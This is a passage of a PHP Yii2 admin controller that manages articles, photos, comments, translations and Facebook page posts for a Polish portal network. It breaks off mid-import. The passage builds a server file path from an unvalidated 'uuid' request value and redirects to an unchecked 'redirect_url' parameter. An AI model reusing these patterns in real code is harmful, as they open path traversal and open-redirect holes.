                
        if($flag) {
            $transaction->commit();
            ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
            TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
        } else {
            $output = ['error' => Yii::t('backend', 'Błąd podczas usuwania danych.')];
            $transaction->rollBack();
        }
        
        return $output;
    }
    
    /**
     * Updates an existing ArticlesPhotos models.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateGallery($id)
    {
        $model = $this->findModel($id);
        
        $postPhotos = Yii::$app->request->post('ArticlesPhotos', []);
        $idsPostedPhotos = array_map('intval', array_keys($postPhotos));
        
        $modelsPhotos = $model->getPhotos()->indexBy('id_photo')->all();        
        if(empty($modelsPhotos)) {
            return $this->redirect(['update', 'id' => $model->id_article]);
        }
        foreach($modelsPhotos as $key => $modelPhoto) {
            $modelPhoto->setScenario('update');
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && \yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($modelsPhotos, ['title', 'photo_order']);
        }
                
        if(Yii::$app->request->getIsPost()) {
//            var_dump($_POST); exit;
            if(!empty($idsPostedPhotos) && !\yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $model->id_article], 302, false);
            }
            
            if(!empty($idsPostedPhotos) && !\yii\base\Model::validateMultiple($modelsPhotos)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $model->id_article], 302, false);
            }
            
            $transaction = Yii::$app->db->beginTransaction();            
            
            $flag = true;

            foreach($modelsPhotos as $key => $modelPhoto) {
                if(!in_array($modelPhoto->id_photo, $idsPostedPhotos)) {
                    $flag = $modelPhoto->delete();
                    unset($modelsPhotos[$key]);
                } else {
                    $flag = $modelPhoto->save(false);
                }

                if($flag === false) {
                    break;
                }
            }
            
            if($flag) {            
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
                TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);                
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        } 
        
        return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $model->id_article], 302, false);
    }
    
    public function actionCopyPhotosFromBank($id)
    {
        $modelArticle = $this->findModel($id);
        
        $modelForm = new CopyPhotosFromBankForArticleForm();
        $modelForm->setArticle($modelArticle);
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['mainPhoto', 'listPhotosToCopy']);
        }
                
        if(Yii::$app->request->getIsPost()) {
//            var_dump($_POST); exit;
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $modelArticle->id_article], 302, true);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $modelArticle->id_article], 302, true);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelForm->save();            
            $flag = $flag && IndexArticles::refreshRecord($modelArticle->id_article);
            
            if($flag) {            
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$modelArticle->id_article]);                
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        } 
        
        return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $modelArticle->id_article], 302, true);
    }
    
//    public function actionIndexComments($id)
//    {
//        $modelArticle = $this->findModel($id);
//        
//        if(!Yii::$app->user->can('viewArticles', ['model' => $modelArticle])) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        }
//        
//        $queryParams = Yii::$app->request->queryParams;
//        $queryParams['ArticlesCommentsSearch']['id_article'] = $modelArticle->id_article;
//
//        $searchModel = new ArticlesCommentsSearch();        
//        $dataProvider = $searchModel->search($queryParams);
//
//        return $this->conditionalRender('index', [
//            'searchModel' => $searchModel,
//            'dataProvider' => $dataProvider,
//            'modelArticle' => $modelArticle
//        ]);
//    }
    
    /**
     * Updates an existing ArticlesComments model.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateComment($id)
    {
        $model = $this->findModelComment($id);
        $model->setScenario('update');
        
        $model->or_edited = 1;
        $model->or_verified = 1;
        
        $outputParams = [
            'model' => $model,
        ];
        
        if(Yii::$app->request->getIsPost()) {             
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_comment', $outputParams);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_comment', $outputParams);
            }
            
            if ($model->save(false)) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
                TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_article]);
                }
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update_comment', $outputParams);
    }
    
    /**
     * Deletes an existing ArticlesComments model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteComment($id)
    {
        $model = $this->findModelComment($id);
                
        $flag = $model->delete();
        if($flag) {
            ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
            TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
        } 
        
        $redirectUrl = Yii::$app->request->get('redirect_url');
        if($redirectUrl) {
            if($flag !== false) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
            }
            return $this->redirect($redirectUrl);
        } else {
            return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $model->id_article], 302, false);
        }
    }
    
    /**
     * Mark an existing ArticlesComments model as verified.
     * If marking is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionSetCommentAsVerified($id)
    {
        $model = $this->findModelComment($id);
        $model->setScenario('update');
        $model->or_verified = 1;
        
        if($model->save(false)) {
            ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
            TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
        } 
        
        return Yii::$app->getResponse()->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['articles/update', 'id' => $model->id_article], 302, false);
    }
    
    public function actionIndexUnverifiedComments()
    {
        $searchModel = new ArticlesCommentsSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['ArticlesCommentsSearch']['or_verified'] = 0;
        $queryParams['ArticlesCommentsSearch']['withArticles'] = true;
        $dataProvider = $searchModel->search($queryParams); 
        
        $idsArticles = [];
        $modelsComments = $dataProvider->getModels();
        foreach($modelsComments as $modelComment) {
            $idsArticles[$modelComment->id_article] = $modelComment->id_article;
        }
        $idsArticles = array_values($idsArticles);
        $urlsOnPortalsForArticles = [];
        if(!empty($idsArticles)) {
            $rows = \common\models\ArticlesHasPortals::find()
                    ->select(['articles_has_portals.id_article', 'articles.title', 'portals.domain'])
                    ->innerJoin('portals', 'portals.id_portal = articles_has_portals.id_portal')
                    ->innerJoin('articles', 'articles.id_article = articles_has_portals.id_article')
                    ->where([
                        'articles_has_portals.id_article' => $idsArticles,
                        'portals.status' => \common\models\types\Status::ACTIVE
                    ])
                    ->asArray()
                    ->all();
            foreach($rows as $row) {
                if(!isset($urlsOnPortalsForArticles[$row['id_article']])) {
                    $urlsOnPortalsForArticles[$row['id_article']] = 'https://www.'.$row['domain'].'/artykuly/szczegoly/'.$row['id_article'].'_'.\frontend\components\helpers\SlugGenerator::generate($row['title']);
                }
            }
        }
        
        return $this->render('index_unverified_comments', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'urlsOnPortalsForArticles' => $urlsOnPortalsForArticles
        ]);
    }
    
    public function actionFairsList()
    {
        $queryParams = Yii::$app->request->queryParams;

        $searchModel = new FairsSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('fairs_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
        
    /**
     * Finds the Articles model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Articles the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Articles::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the ArticlesAttachments model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return ArticlesAttachments the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelAttachment($id)
    {
        if (($model = ArticlesAttachments::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the ArticlesPhotos model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return ArticlesPhotos the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelPhoto($id)
    {
        if (($model = ArticlesPhotos::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the ArticlesComments model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return ArticlesComments the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelComment($id)
    {
        if (($model = ArticlesComments::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    public function actionAutocompleteTags()
    {
        $phrase = Yii::$app->request->get('phrase');
        $tags = [];
        if(!empty($phrase['term'])) {
            $tags = ArticlesTags::find()->select(['name'])->where(['ilike', 'name', $phrase['term']])->orderBy('quantity')->asArray()->column();
        }
        //proteza
//        $tags = [['id' => 'apple', 'text' => 'apple'], ['id' => 'banana', 'text' => 'banana'], ['id' => 'peach', 'text' => 'peach']];
//        $tags = ["apple","banana","peach"];
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        return $tags;
    }
    
    public function actionCompaniesList_old()
    {
        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionCompaniesList()
    {        
        $searchModel = new \yii\base\DynamicModel(['id_company', 'name', 'status', 'login', 'portal']);
        $searchModel->addRule('status', 'in', ['range' => \common\models\types\Status::$values])
            ->addRule(['id_company', 'name', 'login'], 'safe')
            ->addRule('portal', \yii\validators\ExistValidator::className(), ['targetClass' => \common\models\Portals::className(), 'targetAttribute' => 'domain']);
        $searchModel->load(Yii::$app->request->queryParams);
        
        $query = \common\models\Companies::find();
        $dataProvider = new \yii\data\ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 20
            ],
        ]);
        
        $dataProvider->sort->attributes['login'] = [
            'asc' => ['users.login' => SORT_ASC],
            'desc' => ['users.login' => SORT_DESC],
        ];
        
        $query->joinWith('user');
        $query->with([
            'presentations.portal',
            'presentations.package',
            'operators.contactData' => function($q) {
                $q->where([
                    'data_type' => \common\models\types\ContactDataType::EMAIL,
                    'required' => 1
                ]);
            }
        ]);        
        
        if(!$searchModel->hasErrors()) {
            $query->andFilterWhere([
                'companies.id_company' => $searchModel->id_company,
                'companies.status' => $searchModel->status
            ]);

            $query->andFilterWhere(['ilike', 'companies.name', $searchModel->name])
                ->andFilterWhere(['ilike', 'users.login', $searchModel->login]);
            
            if(!empty($searchModel->portal)) {
                $query->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_company = companies.id_company');
                $query->join('INNER JOIN', 'portals', 'portals.id_portal = companies_presentations.id_portal');
                $query->andWhere(['portals.domain' => $searchModel->portal]);
            }
        }
        
        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionAssignToPortals()
    {
        $modelSearch = new ArticlesForPortalsSearch(); 
        
        $dataProvider = $modelSearch->search(Yii::$app->request->queryParams); 
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelSearch->load(Yii::$app->request->get())) {            
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelSearch);
        }
        
        if(Yii::$app->request->get('assign')) {
            $idsSelectedArticles = $modelSearch->getIdsSelectedArticles();
            $idsPortals = $modelSearch->targetPortals;
            if(empty($idsSelectedArticles) || empty($idsPortals)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                return $this->redirect(\yii\helpers\Url::current(['assign' => null, 'search' => 1, 'ArticlesForPortalsSearch' => ['selectedArticles' => null]]));
            }

            $categoriesTypesByArticles = [];
            $data = \common\models\ArticlesCategories::find()
                    ->select(['articles_categories.category_type', 'articles_has_articles_categories.id_article'])
                    ->join('INNER JOIN', 'articles_has_articles_categories', 'articles_has_articles_categories.id_category = articles_categories.id_category')
                    ->where(['articles_has_articles_categories.id_article' => $idsSelectedArticles])
                    ->asArray()
                    ->all();
            if(!empty($data)) {
                foreach($data as $item) {
                    $categoriesTypesByArticles[(int)$item['id_article']] = $item['category_type'];
                }
            }
            
            $categoriesByTypes = [];
            $data = \common\models\ArticlesCategories::find()
                    ->select(['id_category', 'id_portal', 'category_type'])
                    ->where(['id_portal' => $idsPortals])
                    ->andWhere(['not', ['category_type' => null]])
                    ->asArray()
                    ->all();
            if(!empty($data)) {
                foreach($data as $item) {
                    $categoriesByTypes[(int)$item['id_portal']][$item['category_type']] = (int)$item['id_category'];
                }
            }
            
            $transaction = Yii::$app->db->beginTransaction(); 
            $timestamp = time();
            $counter = 0;
            foreach($idsPortals as $idPortal) {
                foreach($idsSelectedArticles as $idSelectedArticle) {
                    $orExists = \common\models\ArticlesHasPortals::find()->where(['id_article' => $idSelectedArticle, 'id_portal' => $idPortal])->exists();
                    if(!$orExists) {
                        $modelArticleHasPortal = new \common\models\ArticlesHasPortals();
                        $modelArticleHasPortal->id_portal = $idPortal;
                        $modelArticleHasPortal->id_article = $idSelectedArticle;
                        if(!$modelArticleHasPortal->save()) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                            return $this->redirect(\yii\helpers\Url::current(['assign' => null, 'search' => 1, 'ArticlesForPortalsSearch' => ['selectedArticles' => null]]));
                        }
                        
                        $categoryType = !empty($categoriesTypesByArticles[$idSelectedArticle]) ? $categoriesTypesByArticles[$idSelectedArticle] : null;
                        $idCategory = !empty($categoriesByTypes[(int)$idPortal][$categoryType]) ? $categoriesByTypes[(int)$idPortal][$categoryType] : null;
                        
                        if($idCategory && !\common\models\ArticlesHasArticlesCategories::find()->where(['id_article' => $idSelectedArticle, 'id_category' => $idCategory])->exists()) {
                            $modelArticleHasCategory = new \common\models\ArticlesHasArticlesCategories();
                            $modelArticleHasCategory->id_category = $idCategory;
                            $modelArticleHasCategory->id_article = $idSelectedArticle;
                            if(!$modelArticleHasCategory->save()) {
                                $transaction->rollBack();
                                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                                return $this->redirect(\yii\helpers\Url::current(['assign' => null, 'search' => 1, 'ArticlesForPortalsSearch' => ['selectedArticles' => null]]));
                            }
                        }
                        
                        Articles::updateAll(['updated_at' => date('Y-m-d H:i:s', $timestamp + $counter)], ['id_article' => $idSelectedArticle]);
                        $counter++;
                    }
                }
                //@todo czasowo to zakomentowujemy, bo wszystkie artykuły dostawały ten sam czas aktualizacji, przez co na gportalach nie chwytało ich wszystkich
//                Articles::updateAll(['updated_at' => new \yii\db\Expression('LOCALTIMESTAMP')], ['id_article' => $idsSelectedArticles]);
            }
            
            $transaction->commit();            
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
            return $this->redirect(\yii\helpers\Url::current(['assign' => null, 'search' => 1, 'ArticlesForPortalsSearch' => ['selectedArticles' => null]]));
        }
        
        return $this->render('assign_to_portals', [
            'modelSearch' => $modelSearch,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionTranslate($id)
    {
        $model = $this->findModel($id);
        
        $language = Yii::$app->request->get('id_language');
        $redirectUrl = Yii::$app->request->get('redirect_url');
        
        if(empty($language)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(!empty($redirectUrl) ? $redirectUrl : ['index/index']);
        }
        
        $flag = $model->translate($language, true);
        
        if($flag === true) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie wykonano zadanie.')); 
            \common\models\Articles::updateAll(['updated_at' => date('Y-m-d H:i:s')], ['id_article' => $model->id_article]);
        } elseif($flag === null) {
            Yii::$app->session->addFlash('confirm', Yii::t('warning', 'Limit darmowych tłumaczeń Google Cloud Translate został wyczerpany.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));              
        }
        
        return $this->redirect(!empty($redirectUrl) ? $redirectUrl : ['index/index']);
        
    }
    
    public function actionIndexWaitingForTranslations()
    {
        $searchModel = new GoogleTranslationsSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['GoogleTranslationsSearch']['source_type'] = GoogleTranslationsSearch::TYPE_ARTICLE;
        $dataProvider = $searchModel->search($queryParams);        
        
        
        $idsArticles = [];
        foreach($dataProvider->getModels() as $model) {
            $idsArticles[(int)$model->source_id] = (int)$model->source_id;
        }
        if(!empty($idsArticles)) {
            $idsArticles = array_values($idsArticles);
            $articlesTitles = \yii\helpers\ArrayHelper::map(\common\models\Articles::find()->select(['id_article', 'title'])->where(['id_article' => $idsArticles])->asArray()->all(), 'id_article', 'title');
        } else {
            $articlesTitles = [];
        }
        
        return $this->render('index_waiting_for_translations', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'articlesTitles' => $articlesTitles
        ]);
    }
    
    public function actionApplyForTranslation()
    {
        $modelSearch = new ArticlesToTranslationSearch(); 
        
        $dataProvider = $modelSearch->search(Yii::$app->request->queryParams); 
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelSearch->load(Yii::$app->request->get())) {            
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelSearch);
        }
        
        if(Yii::$app->request->get('apply')) {
            $idsSelectedArticles = $modelSearch->getIdsSelectedArticles();
            $idsLanguages = $modelSearch->languages;
            if(empty($idsSelectedArticles) || empty($idsLanguages)) {                
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                return $this->redirect(\yii\helpers\Url::current(['apply' => null, 'search' => 1, 'ArticlesToTranslationSearch' => ['selectedArticles' => null]]));
            }
            
            $existsTranslationsTemp = \common\models\ArticlesTranslations::find()
                    ->select(['id_article', 'id_language'])
                    ->where([
                        'id_article' => $idsSelectedArticles,
                        'id_language' => $idsLanguages
                    ])->asArray()
                    ->all();
            $existsTranslations = [];
            foreach($existsTranslationsTemp as $existTranslation) {
                $existsTranslations[$existTranslation['id_article'].'_'.$existTranslation['id_language']] = true;
            }
            unset($existsTranslationsTemp);
            
            $timestamp = time();
            $counter = 0;
            foreach($idsLanguages as $idLanguage) {
                foreach($idsSelectedArticles as $idSelectedArticle) {
                    if (isset($existsTranslations[$idSelectedArticle.'_'.$idLanguage])) {
                        continue;
                    }
                    
                    $orExists = GoogleTranslations::find()->where(['source_type' => GoogleTranslations::TYPE_ARTICLE, 'source_id' => (string)$idSelectedArticle, 'language' => $idLanguage])->exists();
                    if(!$orExists) {                        
                        if(!GoogleTranslations::addEntry(GoogleTranslations::TYPE_ARTICLE, (string)$idSelectedArticle, $idLanguage)) {
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                            return $this->redirect(\yii\helpers\Url::current(['apply' => null, 'search' => 1, 'ArticlesToTranslationSearch' => ['selectedArticles' => null]]));
                        }
                        \common\models\Articles::updateAll(['updated_at' => date('Y-m-d H:i:s', $timestamp + $counter)], ['id_article' => $idSelectedArticle]);
                        $counter++;
                    }
                }
            }
                        
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
            return $this->redirect(\yii\helpers\Url::current(['apply' => null, 'search' => 1, 'ArticlesToTranslationSearch' => ['selectedArticles' => null]]));
        }
        
        return $this->render('apply_for_translation', [
            'modelSearch' => $modelSearch,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionSeoPortals()
    {
        return $this->render('seo_portals', [
            
        ]);
    }
    
    public function actionPublishOnFb($id)
    {
        $modelArticle = $this->findModel($id);
        
        $modelPortal = \common\models\Portals::find()->where(['id_portal' => (int)Yii::$app->request->get('id_portal')])->one();
        if($modelPortal === null) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $modelArticle->id_article]);
        }        
        
        $socialMediaSettings = $modelPortal->getSettingsKey('social_media');
        if(empty($socialMediaSettings['facebook']) || empty($socialMediaSettings['facebook']['page_id']) || empty($socialMediaSettings['facebook']['access_token'])) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $modelArticle->id_article]);
        }
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://graph.facebook.com/'.$socialMediaSettings['facebook']['page_id'].'/feed');
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, [
            'message' => $modelArticle->lead,
            'link' => ($modelPortal->getSettingsKey('or_ssl') === 1 ? 'https' : 'http').'://www.'.$modelPortal->domain.'/artykuly/szczegoly/'.$modelArticle->id_article.'_'.\frontend\components\helpers\SlugGenerator::generate($modelArticle->title),
            'access_token' => $socialMediaSettings['facebook']['access_token']
        ]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $curlResponse = curl_exec($ch);
        $curlResponseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if($curlResponseCode !== 200) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania danych do zewnętrznej usługi.')); 
            return $this->redirect(['view', 'id' => $modelArticle->id_article]);            
        } 
        
        $newFbPostId = json_decode($curlResponse, true)['id'];
        
        $modelArticleFbPost = new \common\models\ArticlesFbPosts(['scenario' => 'create']);
        $modelArticleFbPost->external_id = $newFbPostId;
        $modelArticleFbPost->id_article = $modelArticle->id_article;
        $modelArticleFbPost->id_portal = $modelPortal->id_portal;
        
        if($modelArticleFbPost->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
        }
        
        return $this->redirect(['view', 'id' => $modelArticle->id_article]);
    }
    
    public function actionDeleteFromFb($id)
    {
        $modelPortal = \common\models\Portals::find()->where(['id_portal' => (int)Yii::$app->request->get('id_portal')])->one();
        if($modelPortal === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelArticleFbPost = \common\models\ArticlesFbPosts::find()->where(['id_article' => $id, 'id_portal' => $modelPortal->id_portal])->one();        
        if($modelArticleFbPost === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $socialMediaSettings = $modelPortal->getSettingsKey('social_media');
        if(empty($socialMediaSettings['facebook']) || empty($socialMediaSettings['facebook']['page_id']) || empty($socialMediaSettings['facebook']['access_token'])) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $modelArticleFbPost->id_article]);
        }
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://graph.facebook.com/v20.0/'.$modelArticleFbPost->external_id.'?access_token='.$socialMediaSettings['facebook']['access_token']);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $curlResponse = curl_exec($ch);
        $curlResponseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if($curlResponseCode !== 200) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania danych do zewnętrznej usługi.')); 
            return $this->redirect(['view', 'id' => $modelArticleFbPost->id_article]);            
        }
        
        if($modelArticleFbPost->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['view', 'id' => $modelArticleFbPost->id_article]);
    }
    
    public function actionManualAssignFbPost()
    {
        if(!Yii::$app->request->getIsPost()) { 
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idArticle = Yii::$app->request->post('id_article');
        $idPortal = Yii::$app->request->post('id_portal');
        $externalId = Yii::$app->request->post('external_id');
        
        $orArticleExists = \common\models\Articles::find()->where(['id_article' => $idArticle])->exists();
        $orPortalExists = \common\models\Portals::find()->where(['id_portal' => $idPortal])->exists();
        
        if(!$orArticleExists || !$orPortalExists || !$externalId) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            if($orArticleExists) {
                return $this->redirect(['view', 'id' => $idArticle]);
            } else {
                return $this->redirect(['index']);
            }
        }
        
        $modelArticleFbPost = new \common\models\ArticlesFbPosts(['scenario' => 'create']);
        $modelArticleFbPost->external_id = $externalId;
        $modelArticleFbPost->id_article = $idArticle;
        $modelArticleFbPost->id_portal = $idPortal;
        
        if($modelArticleFbPost->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
        }
        
        return $this->redirect(['view', 'id' => $idArticle]);
    }
    
    public function actionUploadDocFileForImport()
    {
        $modelForm = new \backend\models\UploadArticleDocFileForm();
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['index']);
            }
            
            $modelForm->file = \yii\web\UploadedFile::getInstance($modelForm, 'file');
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->redirect(['index']);
            }
            
            $dirName = $modelForm->save();            
            if($dirName) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['import-from-doc-file', 'uuid' => $dirName]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')); 
                return $this->redirect(['index']);
            }
        } 
        
        return $this->redirect(['index']);
    }
    
    public function actionImportFromDocFile($uuid)
    {        
        $data = file_get_contents(Yii::getAlias('@backend/web')."/temp/articles_import/".$uuid."/metadata.json");
        if($data === false) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        $data = json_decode($data, true);
//        ini_set('xdebug.var_display_max_depth', 10);
//        var_dump($data); exit;
        
        if(Yii::$app->request->getIsPost()) {
            $mainImageFileName = $data['main_image'];
            $portals = $data['portals'];
            $intermediary = $data['intermediary'];

            $title = "";
            $lead = "";
